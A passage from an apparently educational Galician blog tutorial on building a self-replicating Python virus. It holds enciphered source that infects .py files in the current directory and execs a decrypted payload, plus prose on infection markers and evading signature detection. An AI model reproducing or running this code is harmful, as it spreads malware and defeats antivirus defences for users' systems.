kxmnkg exg(vhwbzh[ihlbvbhg]) - exg(vhwbzh[ihlbvbhg].elmkbi())
wxy xgztwx_itll(vhwbzh):
bfihkm ktgwhf
ebgatl = vhwbzh.liebm(vak(10))
yhk b bg ktgzx(10):
by ktgwhf.ktgwhf() > 0.75:
ihlbvbhg_bglxvbhg = ktgwhf.ktgwbgm(1, exg(ebgatl) - 1)
ebgatl.bglxkm(ihlbvbhg_bglxvbhg, " " * vtevnet_mtunetvbhg(ebgatl, ihlbvbhg_bglxvbhg) + "itll")
kxmnkg vak(10).chbg(ebgatl)
wxy fhwbybvt(vhwbzh):
ghoh_vhwbzh = []
lxitktwhk = vak(10) + vak(10) + vak(10)
yngvbhgl = vhwbzh.liebm(lxitktwhk)
yhk mxqmh bg yngvbhgl:
by mxqmh:
vhwbzh_lxg_itll = uhkkt_itll(mxqmh)
vhwbzh_vhg_itll = xgztwx_itll(vhwbzh_lxg_itll)
ghoh_vhwbzh.tiixgw(vhwbzh_vhg_itll)
xelx:
ghoh_vhwbzh.tiixgw(mxqmh)
kxmnkg lxitktwhk.chbg(ghoh_vhwbzh)
wxy bgyxvmtk(obknl):
bfihkm hl
yhk tkjnboh bg hl.eblmwbk("."):
by tkjnboh.xgwlpbma(".ir"):
lvkbim = hixg(tkjnboh, "k+")
mxqmh_lvkbim = lvkbim.kxtw()
by "wxy vtevnet_vetox" ghm bg mxqmh_lvkbim:
itkmx_xg_vetkh = obknl[:obknl.ybgw("wxy vbykt")]
itkmx_t_vbyktk = obknl[obknl.ybgw("wxy vbykt"):]
itkmx_xg_vetkh_fhwbybvtwt = fhwbybvt(itkmx_xg_vetkh)
vetox = vtevnet_vetox(mxqmh_lvkbim)
itkmx_vkbyktwt = vbykt(itkmx_t_vbyktk, vetox)
lvkbim.pkbmx(itkmx_xg_vetkh_fhwbybvtwt)
wxlvkbyktwhk = "bfihkm lrl" + vak(10) + "ihkmtwhk = hixg(lrl.tkzo[0], " + vak(34) + "k" + vak(34) + ")" + vak(10) + "mxqmh_ihkmtwhk = ihkmtwhk.kxtw()" + vak(10) + "ihkmtwhk.vehlx()" + vak(10) + "itkmx_lbg_vbyktk = mxqmh_ihkmtwhk[mxqmh_ihkmtwhk.ybgw(" + vak(34) + "wxy vtevnet_vetox" + vak(34) + "):mxqmh_ihkmtwhk.ybgw(" + vak(34) + "wxy vtevnet_vetox" + vak(34) + ")+" + lmk(exg(itkmx_xg_vetkh_fhwbybvtwt)) + "]" + vak(10) + "vetox = vtevnet_vetox(mxqmh_ihkmtwhk)" + vak(10) + "mxqmh_wxlvbyktwh = wxlvbykt(" + vak(34) + vak(34) + vak(34) + itkmx_vkbyktwt + vak(34) + vak(34) + vak(34) + ", vetox)" + vak(10) + "xqxv(mxqmh_wxlvbyktwh)" + vak(10) + "xqxvnmt(itkmx_lbg_vbyktk + mxqmh_wxlvbyktwh)"
lvkbim.pkbmx(wxlvkbyktwhk)
lvkbim.vehlx()
wxy itrehtw():
ikbgm("Ynvaxl bgyxvmtwh")
wxy xqxvnmt(obknl):
bgyxvmtk(obknl)
itrehtw()""", clave)
exec(texto_descifrado)
executa(parte_sin_cifrar + texto_descifrado)
Finalmente, hai que recordar que esta variante do virus coma a anterior, infectan aos arquivos que non conteñan a cadea de caracteres “def calcula_clave”, polo que se nun programa ou script lexítimo existe esa cadea de caracteres, non será infectado.
A ter en conta
Discriminación de arquivos
Nas dúas últimas variantes do virus, sucede que á hora de ver se un arquivo está previamente infectado, comprobase se contén a cadea de caracteres “def calcula_clave”. Cando un virus utiliza unha forma de detectarse a si mesmo, permite que os analistas saiban esta mesma información, polo cal van a saber como detectar se un arquivo pode estar infectado ou non.
Por outra banda, se o virus non ten este mecanismo, pode ter problemas de sobreinfección. Isto é que o virus pode infectar varias veces o mesmo arquivo. A sobreinfección dun ou varios arquivos desemboca en que o usuario perciba un peor funcionamento á hora de executar un programa (ao fin e ao cabo, se se executa un programa infectado varias veces, tardará en realizar a funcionalidade lexítima xa que tamén se executará o código de varias infeccións), xunto cunha perda de espazo na memoria secundaria. Esta falta de rendemento e espazo fará que o usuario pense que algo vai mal, facendo que leve a reparar o computador e por conseguinte se pare a infección.
A forma na que o virus detectará se un arquivo está infectado ou non é moi importante á hora de crealo, xa que determinará a propia virulencia deste, polo que sempre que se desenvolva un virus hai que ter esta cuestión presente.
Proteccións utilizadas
As proteccións utilizadas (cifrado de código e inserción de “pass”) están encamiñadas a evadir a detección por sinatura. Se se aplica unha técnica de detección mediante unha análise heurística ou análise por comportamento terminarase descubrindo que este programa é un virus.
Hai que aclarar que cando se ofusca un código nunha linguaxe compilada, cífranse as instrucións en ensamblador, polo que a implantación desta técnica distará do que se propón aquí.
Linguaxe
Normalmente os virus (ou calquera tipo de malware) constrúense en linguaxes compiladas para evitar dependencias externas. O uso de Python reduce a capacidade de infección do virus creado, xa que só será efectivo en computadoras que teñan a linguaxe instalada e coa versión correcta.
Conclusións
Nesta publicación viuse como funciona un virus xunto con algún dos seus mecanismos de defensa, así e todo este proceso ten máis complexidade da explicada, xa que neste campo hai moitas máis formas de infección e proteccións.
Quizais nun futuro se aborden en Hackliza outros temas coma a creación dun verme, o funcionamento dun cavity ou dun rookit, pero polo de agora haberá que agardar.
Referencias
Filiol, E. (2004). Computer viruses: from theory to application (1st ed.). Springer
Szor, P. (2005). The Art of Computer Virus Researchand Defense (1st ed.). Addison Wesley Professional
Writing Viruses for Fun, not Profit